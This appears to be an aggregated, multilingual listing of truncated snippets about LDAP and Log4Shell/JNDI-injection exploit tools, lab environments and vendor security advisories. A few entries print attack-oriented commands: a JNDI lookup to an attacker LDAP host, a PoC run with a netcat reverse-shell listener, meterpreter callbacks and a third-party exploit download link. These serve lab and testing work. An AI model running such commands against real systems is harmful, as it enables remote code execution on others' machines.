freeipa

Servidor FreeIPA FreeIPA permite a los administradores de Linux gestionar de forma centralizada los aspectos de identidad, autenticación y control de acceso de los sistemas Linux y UNIX, ofreciendo herramientas de gestión por línea de comandos y web, fáciles de instalar y usar. FreeIPA está...

JNDI-Injection-Exploit

JNDI-Injection-Exploit JNDIインジェクションに関する資料 中文文档 関連記事 説明 JNDI-Injection-Exploitは、RMIサーバー、LDAPサーバー、HTTPサーバーを起動することで、動作可能なJNDIリンクを生成し、バックグラウンドサービスを提供するツールです。RMIサーバーとLDAPサーバーは marshalsec をベースにしており、HTTPサーバーと連携するようにさらに修正されています。 このツールを使用するとJNDIリンクを取得でき、それらのリンクを POC に挿入して脆弱性をテストできます。...

log4shell-homework9

作业 9 – 保护系统免受 Log4Shell 漏洞攻击 概述 本项目演示了 Log4Shell 漏洞（CVE-2021-44228）的利用与缓解，使用了一个包含易受攻击的 Log4j 2.14.1 的 Dockerized Java Web 应用。该设置还包含一个模拟的恶意 LDAP 服务器，用于演示 JNDI 注入攻击路径。 在利用之后，系统通过升级 Log4j、验证输入以及应用 MITRE D3FEND 和 ATT&CK 建议进行了加固。 文件夹结构 log4shell-homework9/ ├── docker-compose.yml ├── Dockerfile ├──...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 中文 README 説明 JNDI-Injection-Exploit-Plus は、動作可能な JNDI リンク を生成し、RMI サーバー、LDAP サーバー、HTTP サーバーを起動してバックグラウンドサービスを提供するツールです。 このツールを使用すると、JNDI リンクを取得できます。これらのリンクを POC に挿入して、脆弱性をテストできます。 例えば、これは Fastjson の脆弱性 POC です：...

l4srs

l4srs Log 4 Shell（log4j - CVE-2021-44228）的 Rust 实现 构建运行 cargo +nightly build 此版本允许您构建命令类，动态提供一个在被利用的 Java 应用线程中运行的小型 meterpreter，并同时运行 LDAP 和 HTTP 服务器。此版本在同一个端口上同时提供 LDAP 和 HTTP 请求。 您可以同时在多个端口上运行，以尝试查看目标机器上哪些出站端口可用。 如果请求不是 LDAP 或 HTTP，它可以代理请求到另一台机器（同样是同一端口）。如果目标机器只有一个出站端口，您可以在同一端口上提供...

l4s_poc

l4spoc Log4Shell Cve-2021-44228 概念验证 这是一个个人项目，运行一个简单的 POC，它将托管一个 LDAP 服务器和一个用于 Log4Shell 漏洞利用的 HTTP 服务器。 服务器 runservers.py 将设置一个精简版 meterpreter 客户端，该客户端将回调 LDAP 请求中传入的 Metasploit 实例。 这将在受 Log4Shell 漏洞影响的原始进程中 以线程方式运行 meterpreter 实例。 LDAP 服务器由 Java 编写，HTTP 服务器由 Python 托管，并 会从一个新创建的 wwwroot 目录提供内容。...

CVE-2026-103885

A flaw was found in Apache Directory LDAP API. This vulnerability allows an attacker to cause a Denial of Service DoS by submitting specially crafted telephone numbers to an LDAP Lightweight Directory Access Protocol server using the library. Processing these malformed inputs causes indefinite CP...

ldap-swak

LDAP 瑞士军刀 多功能 LDAP 服务器工具。 可快速搭建用于测试目的的 LDAP 服务器、用于拦截明文或转发 NTLM 凭据的 MitM 代理，或利用各种 Java JNDI/LDAP 客户端漏洞。 作者：Moritz Bechler（[email protected]） 项目仓库：https://github.com/SySS-Research/ldap-swak 构建 需要 Maven。 mvn package verify - target/ldap-swak-0.0.5-SNAPSHOT-all.jar 运行 直接使用相应的子命令和选项运行 JAR 文件： jav...

rogue-jndi

Rogue JNDI 一个用于 JNDI 注入攻击的恶意 LDAP 服务器。 描述 该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。 为了执行攻击，你可以在本地启动这些服务器，然后在存在漏洞的客户端上触发 JNDI 解析，例如： InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后，本地服务器会响应一个包含其中一个 payload 的恶意条目，该条目可用于实现远程代码执行。 动机 除了已知的 JND...

CVE-2021-44228_dockernize

CVE-2021-44228 Log4Shell 漏洞实验室环境 简介 本项目提供了一个 Docker 化环境，用于安全地实践和理解关键 Log4j 漏洞 CVE-2021-44228 Log4Shell。 主要特性 安全的 Docker 化测试环境 自定义 Payload 测试能力 包含攻击者的 LDAP 服务器和易受攻击的 Java 应用程序 快速开始 docker compose up --build Payload 测试 1. 您可以在 /vulnerable/Makefile 的测试部分修改 payload 2. 默认 payload 使用...

AlmaLinux 9.2 [TuxCare] Security Update: 389-ds-base / 389-ds-base-devel / 389-ds-base-libs / etc (ALMALINUX9.2:CLSA-2026:1782219956)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1782219956 advisory. - A flaw was found in 389-ds-base. The getldapmessagecontrolsext function in the LDAP server does not enforce an upper bound on the number of...

AlmaLinux 9.6 [TuxCare] Security Update: 389-ds-base / 389-ds-base-devel / 389-ds-base-libs / etc (ALMALINUX9.6:CLSA-2026:1782219057)

The AlmaLinux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1782219057 advisory. - A flaw was found in 389-ds-base. The getldapmessagecontrolsext function in the LDAP server does not enforce an upper bound on the number of...

Rocky Linux 9.6 [TuxCare] Security Update: 389-ds-base / 389-ds-base-devel / 389-ds-base-libs / etc (ALMALINUX9.6:CLSA-2026:1782219057)

The Rocky Linux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1782219057 advisory. - A flaw was found in 389-ds-base. The getldapmessagecontrolsext function in the LDAP server does not enforce an upper bound on the number ...

AlmaLinux 9.2 [TuxCare] Security Update: 389-ds-base / 389-ds-base-devel / 389-ds-base-libs / etc Multiple Vulnerabilities (ALMALINUX9.2:CLSA-2026:1778892584)

The AlmaLinux 9.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1778892584 advisory. - A denial of service vulnerability was found in 389-ds-base ldap server. This issue may allow an authenticated user to cause a serv...

Odysseus

Odysseus Log4Shell（CVE-2021-44228）漏洞的演示。 构建说明 漏洞Web服务器和恶意LDAP服务器均在JDK 1.8.0181上构建和测试。 好人 Web 服务器 1. 在 goodguys 目录内，运行 gradlew bootJar 2. 使用 java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar 运行漏洞Web服务器 坏人 LDAP/Web 服务器 1. 在 badguys 目录内，运行 mvn package 2. 使用 java -jar .\target\evil-server.jar 运行邪恶服务器...

Log4j-Exploit-CVE-2021-44228

Log4j漏洞利用-CVE-2021-44228 Log4Shell漏洞测试工具 https://log4shell.tools/ 漏洞利用已包含Java，无需创建账号等.. http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc%25281%2529.zip/file pip install -r requirements.txt $ python3 poc.py --userip localhost --webport 8000 --lport 9001 nc -lvnp 9001 $ python3 poc.py...

log4j

💻 -h3x0v3rl0rd- 利用 log4j CVE-2021-44228（TryHackMe Solar 演练） git clone https://github.com/n3rdh4x0r/log4j.git 1. 运行 log4j.py（这将安装所有必要的应用程序并启动 LDAP 服务器） ifconfig tun0 python3 log4j.py 10.8.227.251 2. 将攻击者 IP 添加到 Exploit.java 文件中 3. 编译 payload javac Exploit.java -source 8 -target 8 4. 临时 HTTP 服务器...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test 测试 1. LDAP服务器与恶意文件下载服务器 1.1 运行Docker-compose docker-compose.yml version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN: "dc=bumbing,dc=xyz" ports: - "389:1389" -...

docker-log4shell

docker-log4shell Aplicación Go simple / imagen de Docker para jugar con la vulnerabilidad CVE-2021-44228. Aloja un servidor de archivos simple y un servidor ldap que proporciona cualquier clase alojada en el servidor de archivos: ldap://ip:1389/Hello - http://ip:8080/Hello.class docker build -t...

CVE-2026-83066

Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware component: OID LDAP Server. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle...